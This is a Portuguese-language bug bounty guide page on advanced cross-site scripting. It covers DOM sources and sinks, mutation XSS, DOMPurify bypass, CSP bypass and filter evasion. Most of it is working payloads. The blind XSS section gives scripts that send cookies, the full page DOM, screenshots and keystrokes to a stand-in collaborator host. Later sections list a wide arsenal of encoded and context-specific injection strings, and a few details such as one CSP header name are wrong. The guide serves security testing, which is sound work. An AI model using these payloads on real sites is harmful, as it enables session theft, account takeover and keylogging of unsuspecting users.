Kaique Mitsuo Silva Yamamoto
Seguranca informacaoWeb vulnerabilities

XSS Deep Dive: Cross-Site Scripting avançado

DOM XSS, mutation XSS, template injection, mXSS, filter bypass avançado, CSP bypass, exploitation real — o guia definitivo de XSS para bug bounty.

XSS é a vulnerabilidade mais encontrada em bug bounty, mas a maioria dos hunters para no alert(1). O payout está no impacto real — account takeover, defacement, exfiltração de dados. Esta página vai além do básico.


Taxonomia de XSS

XSS
├── Reflected (server-side, não persiste)
├── Stored (persiste no banco/servidor)
├── DOM-based (client-side, JavaScript manipula DOM)
├── Mutation XSS (mXSS — browser muta HTML perigosamente)
├── Blind XSS (executa em contexto diferente — admin panel)
└── Universal XSS (uXSS — vulnerabilidade no browser)

DOM-based XSS

DOM XSS acontece no JavaScript do cliente, sem tocar no servidor. Ferramentas de scanning não detectam porque não veem o fluxo client-side.

Sources (onde o atacante controla dados)

SourceAPI
URL hashlocation.hash, location.href
URL paramslocation.search, URLSearchParams
URL pathlocation.pathname
Referrerdocument.referrer
Window namewindow.name
PostMessageaddEventListener('message')
StoragelocalStorage, sessionStorage
Cookiesdocument.cookie
Web APIshistory.pushState, document.write

Sinks (onde o dado perigoso é usado)

SinkPerigo
innerHTMLHTML injection (mas não executa <script>)
outerHTMLSubstitui elemento inteiro
document.write()HTML injection direto
insertAdjacentHTML()HTML injection
eval()Code execution
setTimeout/setInterval (string)Code execution
Function()Code execution
location.hrefOpen redirect / protocol handler
location.replace()Open redirect
window.open()Open redirect
document.domainSame-origin bypass
element.srcScript injection via src
element.setAttribute('href')JavaScript URL
jQuery.html()Equivalente a innerHTML
jQuery.append()HTML injection
Vue.v-htmlTemplate injection
React dangerouslySetInnerHTMLHTML injection
Angular ng-bind-htmlTemplate injection

Exemplos de DOM XSS

// 1. location.hash → innerHTML
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = `Hello ${name}`;
// PoC: https://target.com/page#<img src=x onerror=alert(1)>

// 2. URL params → eval
const config = new URLSearchParams(location.search).get('callback');
eval(config);
// PoC: https://target.com/page?callback=alert(document.cookie)

// 3. postMessage sem validação
window.addEventListener('message', (e) => {
  document.body.innerHTML += e.data;
});
// PoC: iframe.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')

// 4. window.name → document.write
document.write('<h1>Welcome ' + window.name + '</h1>');
// PoC: window.open('https://target.com/page', '<img src=x onerror=alert(1)>')

// 5. Angular template injection
// {{constructor.constructor('alert(1)')()}}
// {{$on.constructor('alert(1)')()}}
// {{"a".constructor.prototype.charAt=[].join;$eval('x=1>alert(1)')}}

// 6. Vue.js injection
// {{constructor.constructor('alert(1)')()}}
// this.constructor.constructor('alert(1)')()

// 7. React dangerouslySetInnerHTML
// <div dangerouslySetInnerHTML={{__html: userInput}} />
// PoC: <img src=x onerror=alert(1)>

DOM Invader (Burp extension)

1. Instalar DOM Invader no Burp Suite
2. Habilitar na aba DOM Invader
3. Navegar pelo alvo — ele detecta automaticamente:
   - Sources → Sinks flows
   - Controllable parameters
   - DOM XSS candidates
4. Usar "Test injection" para confirmar

Mutation XSS (mXSS)

O browser muta HTML de formas inesperadas. Input que parece seguro vira perigoso após parsing.

Exemplos de mXSS

<!-- 1. NAMESPACE confusion -->
<!-- O browser converte SVG para HTML namespace -->
<svg><p><style><img src=x onerror=alert(1)></style></p></svg>
<!-- Após mutação, <img> sai do <style> e executa -->

<!-- 2. TEMPLATE elements -->
<!-- Template content é inert, mas cópia pode quebrar -->
<template><img src=x onerror=alert(1)></template>
<!-- innerHTML do template.content revela o payload -->

<!-- 3. NOSCRIPT context -->
<!-- Em páginas com script habilitado, noscript é ignorado -->
<!-- MAS innerHTML de noscript pode executar -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>"></noscript>

<!-- 4. MathML/SVG namespace tricks -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>">
<svg><p><style><img src=x onerror=alert(1)></style></p></svg>

<!-- 5. DOMPurify bypass (CVE-2020-26870) -->
<!-- Usar <form> + <input> para bypass de sanitizer -->
<form><math><mtext></form><form><mglyph><style>
<img src=x onerror=alert(1)>
</style>

Por que mXSS importa para bug bounty

1. Sanitizers (DOMPurify, bleach) podem ser bypassados via mutation
2. Frameworks que serializam e re-parseiam HTML são vulneráveis
3. Email clients, CMS, rich text editors são alvos primários
4. Payouts altos porque afetam TODOS os usuários

Blind XSS

Blind XSS executa em contexto que você não vê — painel admin, logs, dashboard interno.

Setup de callback

// 1. Usar Burp Collaborator
// Inserir payload que faz callback para collaborator
<script src="https://BURP_COLLABORATOR/xss"></script>

// 2. Usar interactsh (gratuito)
<script src="https://UNIQUE_ID.interact.sh/xss"></script>

// 3. Usar webhook.site
<img src="https://webhook.site/UNIQUE_ID">

// 4. Usar XSSHunter (especializado em blind XSS)
<script src="https://xsshunter.trufflehog.com/api/key/KEY"></script>

Payloads de Blind XSS

// Admin panel detection
<script>
fetch('https://COLLABORATOR/admin?cookie='+document.cookie+'&url='+location.href+'&ua='+navigator.userAgent);
</script>

// Screenshot via html2canvas (se carregado)
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js"></script>
<script>
setTimeout(() => {
  html2canvas(document.body).then(canvas => {
    fetch('https://COLLABORATOR/screenshot', {
      method: 'POST',
      body: canvas.toDataURL()
    });
  });
}, 2000);
</script>

// Exfiltração de DOM
<script>
var html = document.documentElement.outerHTML;
var b64 = btoa(unescape(encodeURIComponent(html)));
new Image().src = 'https://COLLABORATOR/dom?data=' + b64.substring(0, 4000);
</script>

// Keylogger (se persistir)
<script>
document.addEventListener('keypress', function(e) {
  new Image().src = 'https://COLLABORATOR/keys?k=' + e.key;
});
</script>

Onde inserir Blind XSS

1. Campos de formulário que vão para admin:
   - Name, email, address em checkout
   - Support tickets / feedback
   - Comments em CMS admin
   - User profile fields

2. Logs que são renderizados em painel:
   - User-Agent header
   - Referer header
   - HTTP request logs
   - Error tracking (Sentry, etc.)

3. Headers HTTP:
   - X-Forwarded-For
   - User-Agent
   - Referer
   - Custom headers

CSP Bypass

Content Security Policy bloqueia XSS — mas é bypassável se mal configurado.

Análise de CSP

# CSP fraca → bypass possível

Content-Script-Src: 'unsafe-inline'
  → Inline scripts executam → sem proteção

Content-Security-Policy: script-src 'unsafe-eval'
  → eval() funciona → code execution

Content-Security-Policy: script-src 'self'
  → Se tem JSONP endpoint → bypass
  → /api/user/callback?callback=alert(1)

Content-Security-Policy: script-src https://cdnjs.cloudflare.com
  → Se CDN tem library vulnerável → bypass
  → AngularJS 1.x: {{constructor.constructor('alert(1)')()}}

Content-Security-Policy: script-src *.target.com
  → Subdomain takeover → injetar script
  → XSS em subdomínio → bypass de CSP do domínio principal

Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'
  → style-src 'unsafe-inline' → injectar CSS com animation
  → <style> @keyframes x{from{}to{}} a{animation:x} </style>

CSP bypass via JSONP

# Encontrar endpoints JSONP no mesmo domínio
ffuf -u https://target.com/FUZZ?callback=test -w /wordlists/jsonp.txt

# Google JSONP
https://accounts.google.com/o/oauth2/v2/auth?callback=alert(1)#

# Yahoo JSONP
https://login.yahoo.com/config?callback=alert(1)#

XSS Filter Bypass — Arsenal

Encoding bypass

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

<!-- URL encoding -->
%3Cscript%3Ealert(1)%3C%2Fscript%3E

<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E

<!-- Unicode encoding -->
<script>alert\u00281\u0029</script>

<!-- Hex encoding -->
<img src=x onerror=\x61\x6c\x65\x72\x74\x28\x31\x29>

<!-- Octal encoding -->
<img src=x onerror=\141\154\145\162\164\50\61\51>

Context-specific bypass

<!-- Inside <script> var -->
</script><script>alert(1)</script>
';alert(1)//
\'-alert(1)-\'

<!-- Inside <script> var (template literal) -->
${alert(1)}
`-alert(1)-`

<!-- Inside href -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
vbscript:alert(1)

<!-- Inside event handler -->
" autofocus onfocus=alert(1) "
" onmouseover=alert(1) "
" onpointerenter=alert(1) "

<!-- Inside <textarea> or <xmp> -->
</textarea><script>alert(1)</script>
</xmp><script>alert(1)</script>

<!-- Inside <noscript> (when JS enabled) -->
</noscript><script>alert(1)</script>

Exotic tags and events

<!-- Tags -->
<svg/onload=alert(1)>
<math><mtext><table><mglyph><svg><mtext><style><img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<source src=x onerror=alert(1)>
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>

<!-- Without parentheses -->
<script>alert`1`</script>
<script>alert\u00601\u0060</script>
<img src=x onerror=alert`1`>

<!-- Without alert -->
<script>onerror=alert;throw 1</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>var{a]onerror]=alert}throw 1</script>

Referências

On this page